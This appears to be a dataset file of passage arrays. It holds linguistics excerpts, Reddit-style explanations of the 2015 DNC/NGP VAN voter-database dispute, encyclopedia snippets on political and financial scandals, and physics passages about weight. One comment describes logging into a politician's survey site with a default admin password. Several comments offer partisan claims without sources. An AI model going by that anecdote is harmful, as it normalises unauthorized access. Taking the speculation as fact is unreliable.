speakers began to use the newly opened vowel space (i.e., previously occupied by [æ]) for the short o vowel /ɒ/ (or /ɑː/ in most of the U.S.) as in LOT or PALM, so words like bot, gosh, or lock then came to", "However, the syllable after a lost caesura is often unstressed as it is in everyday speech.\nA sound may be added or removed to increase vocabulary there or elsewhere. The addition of sounds is explained with structural changes in the language itself (loss of vowels in word endings). The sound added at the end of a word is usually I, in some rare cases also A, U or E (the last of these mostly in some regions of Courland). Occasionally contractions occur and I replaces a diminutive ending in I – i.e. the ending is retained, but separated from the rest", "linguistics even know that it ever was foreign.\nMany words (e.g. the words beef and pocket) entered the English language from the Norman language following the Conquest of 1066. They have been so thoroughly integrated into the language that they are not generally considered to be foreign, and they follow the usual laws of English phonetics perfectly. Their current pronunciations have generally changed from the original ones, but no-one considers them to be mispronunciations, because the words were adopted so long ago.\nOther words (e.g. the French word née, meaning \"born\", and used with maiden names) have been adopted more recently, and", "relative to their location in the word, can be used to break apart and identify fragments within the speech stream, in order to differentiate between potentially ambiguous sentences. In English for example, the final [d] in the word \"bold\" tends to be \"weak\", in that it is not fully released. On the other hand, an initial [d] in a word such as \"dime\" is more clearly released, opposed to its word-final counterpart. This difference in strong v. weak sounds may help to better identify where the sound occurs in the word, whether at the beginning or the end.\nStudies have", "the derivation of words was a matter mostly of guess-work. Speculation about the original form of words in turn feeds back into the development of the word and thus becomes a part of a new etymology.\nBelieving a word to have a certain origin, people begin to pronounce, spell, or otherwise use the word in a manner appropriate to that perceived origin. This popular etymologizing has had a powerful influence on the forms which words take. Examples in English include crayfish or crawfish, which are not historically related to fish but come from Middle English crevis, cognate with French écrevisse.", "and \"er\" are uttered since they are usually spoken mid-sentence, and for shorter periods of time than \"hmm\". For this reason, thoughtful absorption is typically associated with the utterance of \"hmm\". \"Huh\" – the universal syllable Research has shown that the word/syllable \"huh\" is perhaps the most recognized syllable throughout the world. It is an interrogative. This crosses geography, language, cultures and nationalities.", "the way they sound, that is, word spellings are almost always regular. English orthography, on the other hand, is far more complex in that it does not have a one-to-one correspondence between symbols and sounds. English has individual sounds that can be represented by more than one symbol or symbol combination. For example, the long |a| sound can be represented by a-consonant-e as in ate, -ay as in hay, -ea as in steak, -ey as in they, -ai as in pain, and -ei as in vein. In addition, there are many words with irregular spelling and many homophones (words that", "respectively), again making some of the sounds disappear from the everyday use of the language; and yet others, such as /faːk˧/ (謋), /fɐŋ˩/ (揈), /tɐp˥/ (耷) have become popularly (but erroneously) believed to be made-up/borrowed words to represent sounds in modern vernacular Cantonese when they have in fact been retaining those sounds before these vernacular usages became popular.\nOn the other hand, there are new words circulating in Hong Kong which use combinations of sounds which had not appeared in Cantonese before, such as get¹ (note: this is nonstandard usage as /ɛːt/ was never an accepted/valid final for sounds in Cantonese,", "in the standard varieties of Modern English.\nThe change in fact applies not only at the end of a word, but generally at the end of a morpheme. If a word ending in -ng is followed by a suffix or is compounded with another word, the [ŋ] pronunciation normally remains. For example, in the words fangs, sings, singing, singer, wronged, wrongly, hangman, there is no [ɡ] sound. An exception is the comparative and superlative forms of adjectives: in the words longer/longest, stronger/strongest, younger/youngest, the [ɡ] is pronounced in most accents.\nIn other cases (when it is not morpheme-final), word-internal -ng- does not", "has appeared with and without the initial \"h\" after the Middle Ages until the 19th century. Since the sound \"h\" is dropped in many dialects, the phrase was rebracketed as \"humble pie\". While \"umble\" is now gone from the language, the phrase remains, carrying the fossilized word as an idiom.", "tempo. Over time the phrases gradually shift apart, creating first a slight echo as one instrument plays a little behind the other. This is followed by what sounds like a doubling with each note heard twice. Next, a complex ringing effect arises, after which the phrases eventually return, back through doubling, echo, and unison, to an in-phase position.\nA number of the perceived changes in both phrasing and timbre that result from this phasing process are psychoacoustic in nature. According to Reich, \"[t]he listener thus becomes aware of one pattern in the music which may open his ear to another, and", "been referred to previously. This is because in English, the word the acts as what is known as a definite article, meaning that a defined object or person is being spoken of. However, in the case of definite article usage in Tokelauan language, if the speaker is speaking of an item in the same manner as the English languages uses the, they need not to have referred to it previously so long as the item is specific. The same can be said for the reference of singular being. Because of the difference in grammatical ruling, although the definite article in", "in society and culture. Word combinations like rock and roll, the birds and the bees, mix and match, and wear and tear have become so widely used that their meanings surpass the meaning of the constituent words and are thus inseparable and permanent parts of the English lexicon; the former two are idioms, whilst the latter two are collocations. Ubiquitous collocations like loud and clear and life or death are fixed expressions, making them a standard part of the vocabulary of native English speakers.\nThe order of elements cannot be reversed. The expressions milk and honey (two nouns), short and sweet", "result of apparent attempts to prevent it sounding like the old second-person plural.) As an example of a relatively minor (almost insignificant) source of variant readings, some ancient manuscripts spelled words the way they sounded, such as the 4th-century Codex Sinaiticus, which sometimes substitutes a plain iota for the epsilon-iota digraph and sometimes does the reverse.\nEnglish-speaking textual critics use the word \"itacism\" to refer to the phenomenon and extend it loosely for all inconsistencies of spelling involving vowels.", "that day.\nIn addition, sequences of letters may have characteristic properties for a person. In English, the word \"the\" is very common, and those three letters may be known as a rapid-fire sequence and not as just three meaningless letters hit in that order. Common endings, such as \"ing\", may be entered far faster than, say, the same letters in reverse order (\"gni\") to a degree that varies consistently by person. This consistency may hold and may reveal the person's native language's common sequences even when they are writing entirely in a different language, just as revealing as an accent might", "sound, like the verbs are and scar. See Great Vowel Shift § Later mergers for more information. Particular words Nature was pronounced approximately as [ˈnɛːtəɹ] and may have rhymed with letter or, early on, even latter. One may have merged to the sound of own, with both one and other using the era's long GOAT vowel, rather than today's STRUT vowels. Tongue merged to the sound of tong and rhymed with song. Modal auxiliaries The modal auxiliaries cemented their distinctive syntactical characteristics during the Early Modern period. Thus, the use of modals without an infinitive became rare (as in \"I must", "Folk etymology Folk etymology or reanalysis – sometimes called pseudo-etymology, popular etymology, analogical reformation, or etymological reinterpretation – is a change in a word or phrase resulting from the replacement of an unfamiliar form by a more familiar one. The form or the meaning of an archaic, foreign, or otherwise unfamiliar word is reanalyzed as resembling more familiar words or morphemes. Rebracketing is a form of folk etymology in which a word is broken down or \"bracketed\" into a new set of supposed elements. Back-formation, creating a new word by removing or changing parts of an existing word, is often", "leave certain words following a practically unpredictable pattern. This has happened with the strong verbs (and some groups of weak verbs) in English; patterns such as sing–sang–sung and stand–stood–stood, although they derive from what were more or less regular patterns in older languages, are now peculiar to a single verb or small group of verbs in each case, and are viewed as irregular.\nIrregularities may also arise from suppletion – forms of one verb may be taken over and used as forms of another. This has happened in the case of the English word went, which was originally the past tense", "considered a translation or spelling mistake is likely because many early games from the 1980s and 90s, including the first Zelda game, were rife with mistranslations and poor English prose ('Engrish'). A well-known example of this is \"All your base are belong to us\" from Zero Wing (1989). Legacy Around 2000, \"I am Error\" became an early Internet meme. According to Ben Huh, founder of Cheezburger Inc., the meme was inspired by the \"All your base are belong to us\" meme, which in turn inspired a number of memes based on 'Engrish' quotes from old games, such as \"A Winner" ]

[ "Not a lot is known, but,\nDNC: \"Bernie Camp is stealing confidential information about people from Hilary Camp. No more soup for them.\"\nBernie Camp: \"The information was tied to our private information with no way of separating the two, we've been telling you from the beginning, you haven't fixed it, we aren't looking at it and documenting everything. Fuck you.\"\n\nIf you take B's Campaign at their word, DNC is doing everything they can to push for Hilary to be the only possible Democratic Nominee for the 2016 race. If you don't believe Bernie Sanders, then you've found someone who doesn't respect confidential information as much as Hilary doesn't respect classified information.", "I suggest you ask again in a couple days if it is not yet settled. There is a lot of conflicting information.", "Bernie found out that there was a security hole in the DNC database. Bernie alerted the DNC to that problem and they in turn accused him of stealing information. They asked him to prove that he didn't have the information - which is impossible. Until he can prove that, they locked him out of his side of the database costing him $600k a day. \n\nEffectively this means they are intentionally sabotaging his campaign and so he sued them.", "Essentially, the DNC has an internal database system (provided by the company NGP VAN) that can be used by all Democratic candidates, with a permissioning system being in place to ensure that you can't look up data collected or generated by your opponents. \n\nThis permissioning system malfunctioned, and some junior Sanders staffers noticed and for whatever reason (Hillary/DNC people claim it was to steal the data, Sanders people claim it was to prove to the DNC that the breach exists) decided to copy the Hillary data over to their own part of the database, which is obviously not what they're supposed to do. \n\nThe DNC in response locked out the Sanders campaign out of accessing the database entirely for now, and the Sanders campaign fired the responsible staffers but demands that the campaign's database access is restored.", "For those non US people wondering, DNC stands for Democratic National Committee, \"the principal campaign and fund-raising organization affiliated with the United States Democratic Party\" as Wikipedia puts it.", "Taken from [here](_URL_0_) with quite a few details on it:\n\n > From what the news stories are saying, this firewall-dropping was happening repeatedly. So:\n\n > NGP-VAN, the company that stores this data, which is run by an old Clinton hand who worked for them in 1992, the company paid $34,000 by Ready For Hillary, was repeatedly dropping their firewall between the two major Dem campaigns, Clinton and Sanders.\n\n > A guy who’s now fired from the Sanders team observed this. They complained once and were given assurances by the company that it was a mistake and wouldn’t happen again. Then it happened again. The guy decided to gauge how deeply the Clinton campaign was able to read into the Sanders campaign, by experimenting to see how much of the Clinton data he could get. That’s a bad call but by information security standards it’s not unthinkable: it’d be called a white hat intrusion, seeing how much of the firewall was down by probing the other side and assuming your own data was revealed exactly the same way. It does matter, but you still have to fire the guy.\n\n > One thing we can be sure of is, anything open to ‘stealing’ on the Clinton side was just as open on the Sanders side, literally. It’s the same system and the same firewall, and if the firewall keeps mysteriously going down for no good reason you have to wonder what’s up and more relevantly what’s being made available to those on the other side of the firewall, which might explain why the firewall’s going down like that.\n\n > The Sanders people did NOT throw a fit the first time this happened. But this time, the Sanders guy got caught crossing the nonexistent firewall. We have no information at all on whether anybody from the Clinton side was doing the same thing. During that time there WAS NO firewall and the guy wasn’t hacking, he was browsing, as anybody on either side could have done during those windows.\n\n > I think that’s accurate so far. The behavior of the firewall is important, whether or not it’s suspicious as a planned exploit of the Sanders data run by Clinton people who are at the DNC and at NGP-VAN.\n\n > In response to the Sanders guy browsing over and seeing data (how do they know? Because HE TOLD THEM. The Sanders team were the ones reporting this, that’s part of the story), the DNC suspended access by the Sanders campaign to THEIR OWN DATA at a crucial time. In order to get access back, at least as of this morning, the requirement is for the Sanders campaign to prove it has destroyed all data that it didn’t necessarily even download (remember, Sanders guy claims he was exploring the Clinton system because it would mirror the vulnerability of the Sanders system, and he’s not IN the Clinton system to go and browse the Sanders side to see how much is revealed, but he was IN the Sanders side and could look at the Clinton side and reasonably conclude that his own side was equally compromised)\n\n > And social media is blowing the hell up, not unreasonably, because it’s a goddamn hatchet job combined with a kneecapping to yank access by the Bernie campaign to its OWN DATA because a guy from the Bernie campaign passively browsed through a firewall he didn’t himself disable, a firewall run by a company controlled by Clinton partisans which had been going down already for reasons unknown.", "Reminds me of when the DNC was considering using \"super delegates\" to give her the nomination over Obama. They ultimately decided there would be a MASSIVE result of they did and guarantee a loss in the general if they did, so they didn't. \n\nIt just reminds me how corrupt the DNC and Clintons are. We really need to get away from political dynasties and the current political parties. They're an embarrassment to America.", "Isn't the DNC also hosting the next debate this Saturday, aka, the day of every Christmas party ever?", "Additional related question:\n\nWhat is this data exactly? Why is it stored on DNC central servers? Why isn't everyone allowed to access it? (If it was confidential, why not store it on your own servers?)", "Bernie Sanders' campaign notices that the DNC database (managed by NGP VAN) allows them to see data they shouldn't be able to. They (purportedly) alert NGP VAN to this issue. Later, the same issue comes up where they can see campaign data that isn't theirs, and they decide to download the data:\n \n > According to Bloomberg, though the Sanders campaign claimed it had not retained a record of the Clinton data, the audit shows that during the 40 minutes the database was vulnerable, Sanders' team created at least 24 lists and saved them to their personal folders.\n\nSource for quote: _URL_2_\n\nLogs for your reference:\n_URL_2_\n\nThe DNC then revokes their access to their database. Bernie sues the DNC, trying to get access back.\n\nThings to note:\n\n1. The people who stole Hillary Clinton's data were not \"junior level staffers\"-- Josh Uretsky, Sanders' National Data Director was directly involved, and has falsely claimed that he didn't retain any records (see above)\n2. Uretsky was immediately fired, the other staffers involved were not.\n\nObviously Reddit is very gung-ho about Bernie, but it's important to contextualize these things. It's all the more important to take a step back to realize that at the end of the day, even if Bernie is very populist blah blah blah, campaigns are still campaigns and Bernie is still a politician. \n\nFurthermore, the whole situation is nebulous at best, and a shitshow at worst; any material developments will play into how the situation unfolds. In a world where data is becoming all the more important, to say that the actions taken by Bernie's campaign were anything short of egregious seems intellectually dishonest.", "Someone in Bernie camps staff noticed data they shouldn't have access to was available to them. When one of the them wanted to use it for their own benefit, they fired him and made the DNC aware of the issue. Now the dance wants to penalize the campaign by denying them access to their voter list.\nConspiracy theorist think it was left down as bait to make the been slip up and go away.\nReality is they are trying to coronate Mrs. Clinton without any challenge. Thus the Saturday debates, especially tomorrow's, going up against an nfl game.", "The organization I work for once purchased some software for doing surveys. It had a default password for the admin account. The documentation said you should change it as soon as the software was installed. \n\nI made a point of searching the web for installations of that software. The FIRST one that showed up in the Google search was for then Senator Hillary Clinton. So I logged in using the default admin password. No shit. \n\nThere were a couple of silly surveys didn't contain any critical information so I didn't freak. I did, however, create a new survey titled something like, \"How often should you change your software's Admin Password?\".\n\nI didn't get arrested and I didn't check back so I don't know what happened. I reported this problem to the company that made the software and they fixed it in future releases.", "Why isn't anyone mentioning the fact that the DNC 'rents' access to this data to many political campaigns and regardless of reason or legitimacy the DNC cut off Bernies access to that data? \n\nFacts people.", "Ok, reading through the answers I don't think we are getting it. \n\nThis is an issue of permissions. A user, within the Bernie Sanders campaign, found that he had extra priveleges and as a result could see into the saved data from the Hillary campaign.\n\nIn an interview with MSNBC, he noted that he had decided to test \"how deep\" the exploit was so he could report it to NGP-VAN, the software company that makes the product they use. _URL_3_\n\nNGP-VAN is a third party vendor, and they viewed this as a violation of their terms of agreement; more importantly, because NGP-VAN holds personal data about people that campaigns put in (which can include credit type information/etc if you donate monthly etc.) there were concerns over what access he had.\n\nNGP-VAN is a cloud based app, so the concerns were that lists of voter makeup patterns (VoterID, which remain the same and are assigned by your state, not any software company) were visible to Bernie Sanders staff who placed those IDs in their lists to keep track of potential voters for and against their campaign. Despite anything you read, you don't ever \"download\" from NGP-VAN, that is not how the product works.\n\nThe Sanders campaign, once they learned of the issue, immediately fired their administrator for violating terms of use.\n\nNGP-VAN noted that four accounts were created with extra rights to look into the Clinton campaign and wanted a statement from the Sanders campaign that any data read from that, and staff who may be involved would be terminated.\n\nBernie had already terminated the leader of this, and considered it over, but the DNC thought this was not good enough and demanded either more firings or a statement that all data would be destroyed. After a VERY short wait apparently (overnight, though there are conflicting reports), the DNC told NGP-VAN to enforce the violation of Terms of Use on their software and shut the Sanders campaign out until they comply.\n\nThe Sanders campaign contends they have complied by firing the person who has admitted being involved in this, but there seems to be a sticking point over them needing to go further.\n\nNGP-VAN provides voter ID information to candidates and candidates can feed in their own information; donation patterns, voting records, phone #s to call, etc. Without it, a democratic campaign would have to re-invent all of it from public data, a very expensive proposition that could not happen overnight.\n\nBy the afternoon, Sanders announced he would file suit against the DNC for basically attacking his campaign in a way that would shut it down.\n\nOn one side, you have NGP/DNC who argue that Sander's staff violated the rules, and until the data breach can be accounted for, more firings and an accounting of who had access to those lists, they stay cut off.\n\nThe Sanders campaign contends that is ridiculous, they have already fired the guy, and the DNC is shutting down their campaign.\n\nNote: there are people who want to rope Hillary into this, but the guy who admitted the wrong doing was a Sanders employee, and it looks, at least to my eyes, that is as far as this likely went; and Sanders agreed with the analysis and fired him.\n\nNow, Sanders wants access to his data back...", "Anybody that's lived in Yosemite in the last 10 years clicked on this link expecting something different...." ]

[ "of the TARP. It was also argued that providing TARP funds to automaker's financing operations, such as GMAC, runs counter to the intent of Congress for limiting TARP funds to true \"financial institutions\". On December 19, 2008, President Bush used his executive authority to declare that TARP funds may be spent on any program he personally deems necessary to avert the financial crisis, and declared Section 102 to be nonbinding.\nThe federal loan would prevent General Motors from going into immediate bankruptcy. The bailout required both companies to dramatically restructure their operations to demonstrate long-term viability. In February 2009,", "wake of that scandal, Rohr led an overhaul of PNC's risk management systems that would ultimately help position PNC well for the 2008 financial crisis to come, and his reforms helped boost the performance of PNC's stock. By 2003, PNC was in acquisition mode, picking up United National Bancorp, expanding its presence in Eastern Pennsylvania and Central New Jersey. In the first half of 2004, PNC's net income rose 41 percent compared to the same part of 2003. At the end of 2004, PNC's assets were nearly $80 billion. A year later, in 2005, PNC earned $1.3 billion (or $4.65", "Schultz resigned as DNC chairwoman following the release of e-mails by WikiLeaks that showed DNC officials discussing Bernie Sanders and his presidential campaign in a derisive and derogatory manner. Emails leaked included personal information about Democratic Party donors, with credit card and Social Security numbers, emails by Wasserman Schultz calling a Sanders campaign official a \"damn liar\".\nFollowing the July 22 publication of a large number of hacked emails by WikiLeaks, the FBI announced that it would investigate the theft of DNC emails. Intelligence analysis of attack In June and July 2016, cybersecurity experts and firms, including CrowdStrike, Fidelis, FireEye, Mandiant,", "financial statements had been delayed to accommodate an internal review relating to SNC's operations. The internal review probed $35 million of unexplained payments in Libya. Prior to the launch of the investigation, there had been months-long media speculation about the company's work in Libya and its ties to the Muammar Gaddafi family. In 2012, the Royal Canadian Mounted Police investigated the company on these charges in the Project Assistance investigation and, in 2015, they charged SNC-Lavalin with \"fraud and corruption\", which the company indicated they would contest in court. McGill University; the Arthur Porter kick-back scandal (2011–2014) Charges were laid", "Sherron Watkins Sherron Watkins (born August 28, 1959) is an American former Vice President of Corporate Development at the Enron Corporation. Watkins was called to testify before committees of the U.S. House of Representatives and Senate at the beginning of 2002, primarily about her warnings to Enron's then-CEO Kenneth Lay about accounting irregularities in the financial statements.\nIn August 2001, Watkins alerted then-Enron CEO Kenneth Lay of accounting irregularities in financial reports. However, Watkins has been criticized for not reporting the fraud to government authorities and not speaking up publicly sooner about her concerns, as her memo did not reach the", "of the new CVC was marked by controversies, after Sushma Swaraj, who was part of three-member selection committee, objected to the choice of Thomas, citing the pending chargesheet against him. A public interest litigation was filed in the Supreme Court of India by Centre for Public Interest Litigation and India Rejuvenation Initiative.\nOn March 3, 2011, the Supreme Court quashed the appointment of Thomas as the Chief Vigilance Commissioner, noting that the HPC did not consider the relevant materials on the pending chargesheet. Subsequently, Mr Thomas resigned. Whistleblower protection A few years after the murder of IIT Kanpur alumnus NHAI engineer", "PMU 18 scandal The PMU 18 scandal is a multi-million dollar political corruption scandal that involved accusations of embezzlement, bribery, nepotism, and gambling at the Vietnamese Ministry of Transport (Bộ Giao thông Vận tải, GTVT) at the beginning of 2006. The scandal received extensive press coverage in Vietnam, a rarity in the one-party state. It generated a great public outcry in Vietnam and controversy in other countries and at organizations that provided Official Development Assistance (ODA) to the country. Due to the scandal, Transport Minister Đào Đình Bình was forced to resign and his deputy was arrested. The scandal", "late trading scandal made public by a complaint against Bank of America brought by New York Attorney General Eliot Spitzer. A resulting U.S. Securities and Exchange Commission investigation into allegations of front-running activity implicated Edward D. Jones & Co., Inc., Goldman Sachs, Morgan Stanley, Strong Mutual Funds, Putnam Investments, Invesco, and Prudential Securities.\nFollowing interviews in 2012 and 2013, the FBI said front running had resulted in profits of $50 million to $100 million for the bank.\nWall Street traders may have manipulated a key derivatives market by front running Fannie Mae and Freddie Mac.\nThe terms originate from the era when stock", "fraud scandal of the Enron Corporation and other corporations, Congressional Democrats pushed for a legal overhaul of business accounting with the intention of preventing further accounting fraud. This led to the bipartisan Sarbanes-Oxley Act in 2002. With job losses and bankruptcies across regions and industries increasing in 2001 and 2002, the Democrats generally campaigned on the issue of economic recovery. That did not work for them in 2002, as the Democrats lost a few seats in the U.S. House of Representatives. They lost three seats in the Senate (Georgia as Max Cleland was unseated, Minnesota as Paul Wellstone died and", "chair after the leak, replaced by Donna Brazile, and the Democratic National Committee apologized to Sanders. Speaking on CNN, Sanders responded to the email leak: \"it is an outrage and sad that you would have people in important positions in the DNC trying to undermine my campaign. It goes without saying: The function of the DNC is to represent all of the candidates — to be fair and even-minded. But again, we discussed this many, many months ago, on this show, so what is revealed now is not a shock to me.\"\nIn October 2016, WikiLeaks released emails from Clinton campaign", "complaint charges \"CIBC and the three executives with having helped Enron to mislead its investors through a series of complex structured finance transactions over a period of several years preceding Enron's bankruptcy.\" The agreement reached between the SEC and CIBC permanently enjoins CIBC from violating the antifraud, books and records, and internal control provisions of the federal securities laws.\nOn August 2, 2005, CIBC paid US$2.4 billion to settle a class action lawsuit brought by a group of pension funds and investment managers, including the University of California, which claims that \"systematic fraud by Enron and its officers led to the", "Cameron about Gaddafi. The statement also called for international military intervention in the UK, and Libyan state TV reported false claims that the British government was using Irish and Scottish mercenaries against rioters. LSE Gaddafi links scandal In the wake of the civil war, a scandal erupted at the London School of Economics and Political Science over its ties to the Gaddafi regime. As a result of the revelations the LSE's Director, Sir Howard Davies resigned on 3 March 2011 citing \"errors of judgement\". Post-Gaddafi Libya (2011-present) The UK formally recognised the rebel National Transitional Council (NTC) as the government", "Whitaker scandal The Whitaker scandal is a corruption scandal in Uganda that surfaced in 2005. The scandal revolves around the Whitaker Group, the lobbying firm of Rosa Whitaker, a former assistant U.S. trade representative for Africa in the Bush administration and payments she received from the Ugandan government. Supporters of the work done on behalf of Uganda by the Whitaker Group, however, have pointed out that the criticisms are politically motivated and not based on an understanding of the full spectrum of work undertaken in the United States by the Whitaker Group", "to delay effective governmental action against the frauds. This action only increased (a) the billions of dollars their ultimate failures cost the US taxpayers and (b) the magnitude of the resulting scandal. Wright's account of these facts was very different, citing both abuse of power by regulators, and money laundering by S&Ls in the profits diverted to Nicaragua in the Iran-Contra scandal. The scandal robbed Wright's Democratic party of the \"sleaze factor\" issue in the 1988 presidential election, thereby handing the election to the Republican George H. W. Bush, according to Black. He resigned to avoid the official", "Bud Cummins, had been pressured to resign. E-mail scandal Due to investigations into White House staffers' e-mail communication related to the controversy over the dismissal of United States Attorneys, it was discovered that many White House staff members, including Rove, had exchanged documents using Republican National Committee e-mail servers such as gwb43.com and georgewbush.com or personal e-mail accounts with third party providers such as BlackBerry, considered a violation of the Presidential Records Act. Over 500 of Rove's emails were mistakenly sent to a parody website, who forwarded them to an investigative reporter. Resignation from the White House In a Wall", "paragraph 6.\nEffective May 4, 2018, Clovis resigned from the USDA. Barack Obama In August 2017, CNN reported on the existence of a now-defunct blog that Clovis had maintained primarily between 2011 and 2012. In blog posts accessed via the Wayback Machine, Clovis was critical of President Barack Obama and the progressive movement, accusing Obama of being a socialist and writing that progressives were \"liars, race traders and race 'traitors.'\" A USDA spokesperson responded that Clovis \"is a proud conservative and a proud American. All of his reporting either on the air or in writing over the course of his career", "to resign along with the others accused, a lawyer, Severino Twinobusingye, managed to successfully sue the Attorney General and halt the proceedings and to block the calls for resignation. Following further suspicion around the incident as a result of Tullow Oil’s court case with Heritage Oil over its tax on Uganda assets, an ad-hoc parliamentary committee was convened to further investigate the allegations of corruption. United Nations General Assembly As Africa was due to hold the presidency of the sixty-ninth session of the United Nations General Assembly (UNGA), the African Union Executive Council unanimously chose him to be their candidate", "the granting of options to significant good or bad corporate announcements (known as spring-loading and bullet-dodging) are compensation practices that can be indicative of poor tone at the top. The Enron scandal The Enron scandal, revealed in October 2001, eventually led to the bankruptcy of the Enron Corporation, an American energy company based in Houston, Texas, and the de facto dissolution of Arthur Andersen, its audit firm. Enron is considered to be the largest bankruptcy reorganization in U.S. history, as well as the biggest audit failure. Executives at Enron used accounting loopholes, special purpose entities, and misleading financial reporting to", "the Bridgegate scandal, Christie was dropped by Trump as leader of the transition team, in favor of Mike Pence.\nOn June 20, 2016, Trump fired his campaign manager Corey Lewandowski, reportedly in response to lagging fundraising and campaign infrastructure (as well as power struggles within the campaign, according to multiple GOP sources). Paul Manafort, Trump's campaign chairman, who was brought in during the primary to prepare for a contested convention, assumed the role of chief strategist.\nKevin Kellems, a veteran GOP strategist and former aide to Vice President Dick Cheney, resigned from Trump's staff after he was appointed to help inspect the", "TARP actually returned a modest profit to taxpayers over time. The separate bailout of Fannie Mae and Freddie Mac, which insure mortgages, totaled $135 billion by October 2010.\nThe issue of federal bailouts of the banks and big corporations has become a major issue in elections, with the Tea Party movement in particular focusing its attack on bailouts.", "New York Times, Gabbard spoke of an unhealthy atmosphere and the feeling that she had \"checked [her free speech] at the door\" in taking the job. Gabbard privately accused Wasserman Schultz of violating the DNC's duty of neutrality by favoring Hillary Clinton. This later became public in leaked emails published by WikiLeaks.\nGabbard resigned as DNC vice chair on February 28, 2016 in order to endorse Senator Bernie Sanders for the nomination. She was the first congresswoman to endorse Sanders and later gave the nominating speech putting his name forward at the 2016 Democratic National Convention.\nIn July 2016, Gabbard launched a", "documentation of his role in this that would almost certainly have come from hearings by the United States House Committee on Ethics, as it did for the Keating Five. Wright's personal and public account of why he resigned was very different from that cited by William Black, who claimed Wright abused his power and certainly had reason to protect his own position and decisions at the Federal Home Loan Bank.\nThe charges filed against Wright did not mention Nicaragua. The Iran-Contra operations from 1984 through most of 1986 involved the secret governmental support of Contra military and paramilitary activities", "12, 2016, DCLeaks released information about more than 200 Democratic lawmakers, including their personal cellphone numbers. The numerous crank calls that Hillary Clinton received from this disclosure along with the loss of her campaign's email security caused a very severe disruption of her campaign which subsequently changed their contact information on October 7, 2016, by calling each of her contacts one at a time.\nOn August 15, 2016, DCLeaks released 2,576 files predominately related to George Soros' Open Society Foundation. The leak included the Foundation's internal work plans, strategies, priorities and other worldwide activities by Soros.\nDuring November 2017, the Associated Press", "of the International Monetary Fund, writing in The New York Times, raised doubts about the suitability of Cote's appointment, noting the \"systematic breakdown of compliance and risk control\" during the period when Cote was on the board of JPMorgan Chase, whilst also noting that some, but not all, of the problems there pre-dated Cote's appointment. The election papers did not mention Cote's role at JPMorgan Chase in his candidate C.V. Cote stepped down from the board of New York Federal Reserve in March 2018. Other Cote was a member of the Executive Committee of The Business Council for 2011 and", "North Carolina Senate. Campaign finance investigation In 2017, a North Carolina activist filed two complaints with the North Carolina Board of Elections. The complaints accused Hise of allegedly committing a variety of campaign finance violations, including \"allegedly paying himself more than $10,000 from his campaign fund.\"\nAt the time he was also the chairman of the Senate Select Committee on Elections. After the State Board of Elections began investigating the accusations that Hise had broken campaign finance laws, Ralph Hise introduced Senate Bill 68, which altered the power and structure of the Board of Elections that was investigating him. The bill", "the Forum of European Securities Commissions and the Committee of European Securities regulators.\nIn the wake of a series of corporate scandals including the collapse of Enron and WorldCom in the United States and of Parmalat in Europe, Prada led a collaborative effort by members of the international financial regulatory community to establish the Public Interest Oversight Board (PIOC) in 2005. The PIOC would oversee standards-setting activities of the International Federation of Accountants to ensure they were in compliance with the public interest.\nPrada was appointed a member of the Financial Crisis Advisory Group set by the International Accounting Standards Board and", "Clovis then hired Matthew Whitaker, also an unsuccessful Republican Senate primary candidate, to chair his campaign for state treasurer. In November, Clovis lost to Fitzgerald, 53% to 44%. Trump advisor and administration official On June 4, 2015, The Washington Post reported that Rick Perry, shortly after launching his presidential campaign, hired Clovis to chair his campaign in Iowa. On August 24, 2015, nearly three months later, The Washington Post reported that Clovis resigned from the campaign, in part, over the campaign's failure to pay his salary. Clovis endorsed Donald Trump the next day, August 25, with an introduction at", "resigned from her post, stating that she does not want to be \"a distraction\" for the office. Although the Corzine campaign sought to make the loan a major campaign issue, a Quinnipiac poll showed that only 43% of voters believed that the loan controversy was a legitimate attack, while a plurality of 49% called it an unfair attack.\nAs of September 20, Corzine had put out 4,806 television advertisements to Christie's 1,393 ads. Debates Corzine, Christie, and Daggett debated each other three times by the election. Two debates were sanctioned by the state's Election Law Enforcement Commission; Christie and Daggett were", "leaks from within the Trump Administration to the media: \"This has all the markings of a coordinated, silent coup.\" Caputo said to USA Today that he attributed the leaks to disaffected members of the Stop Trump movement. He called them \"anti-Trump zealots\".\nDue to his time working on the Trump campaign and the fact that he previously worked for politicians in Russia, Caputo was contacted by the United States House Permanent Select Committee on Intelligence on May 9, 2017, as part of their investigation into Russian interference in the 2016 US presidential election. The House Intelligence Committee requested Caputo come in", "a motion to delay the leadership vote, Pelosi was elected minority leader for the 112th Congress. On November 14, 2012, Pelosi announced she would remain on as Democratic leader.\nIn November 2011, 60 Minutes alleged that Pelosi and several other members of Congress had used information they gleaned from closed sessions to make money on the stock market. The program cited Pelosi's purchases of Visa stock while a bill that would limit credit card fees was in the House. Pelosi denied the allegations and called the report \"a right-wing smear\". When the Stop Trading on Congressional Knowledge Act (or STOCK Act)" ]

[ "You're probably retaining and losing water, and water weighs quite a lot." ]

[ "(the length) lagged behind the cause (the force of the weights) because the length has not yet reached the value it had for the same weight during the loading part of the cycle. In terms of energy, more energy was required during the loading than the unloading, the excess energy being dissipated as thermal energy.\nElastic hysteresis is more pronounced when the loading and unloading is done quickly than when it is done slowly. Some materials such as hard metals don't show elastic hysteresis under a moderate load, whereas other hard materials like granite and marble do. Materials such as rubber", "it would be seen that the weight of the object is becoming heavier because of the downward force, changing the apparent weight.\nThe role of apparent weight is also important in fluidization, when dealing with a number of particles, as it is the amount of force that the \"upward drag force\" needs to overcome in order for the particles to rise and for fluidization to occur.", "of known stiffness to determine mass (or weight). Suspending a certain mass will extend the spring by a certain amount depending on the spring's stiffness (or spring constant). The heavier the object, the more the spring stretches, as described in Hooke's law. Other types of scale making use of different physical principles also exist.\nSome scales can be calibrated to read in units of force (weight) such as newtons instead of units of mass such as kilograms. Scales and balances are widely used in commerce, as many products are sold and packaged by mass. History The balance scale is such", "less force (weight) being applied to any scale theoretically placed underneath the object in question (though one may perhaps have some trouble with the practical aspects of accurately weighing something individually in that condition). If one were however to weigh a small wading pool that someone then entered and began floating in, they would find that the full weight of the person was being borne by the pool and, ultimately, the scale underneath the pool. Whereas a buoyant object (on a properly working scale for weighing buoyant objects) would weigh less, the object/fluid system becomes heavier by the value of", "object at rest on the surface of the Earth is lessened by the effect of the centrifugal force from the Earth's rotation.\nThe operational definition, as usually given, does not explicitly exclude the effects of buoyancy, which reduces the measured weight of an object when it is immersed in a fluid such as air or water. As a result, a floating balloon or an object floating in water might be said to have zero weight. Apparent weight In many real world situations the act of weighing may produce a result that differs from the ideal value provided by the definition used.", "nor falling and—in the sense that a scale placed under it has no force applied to it—is, in a sense perfectly 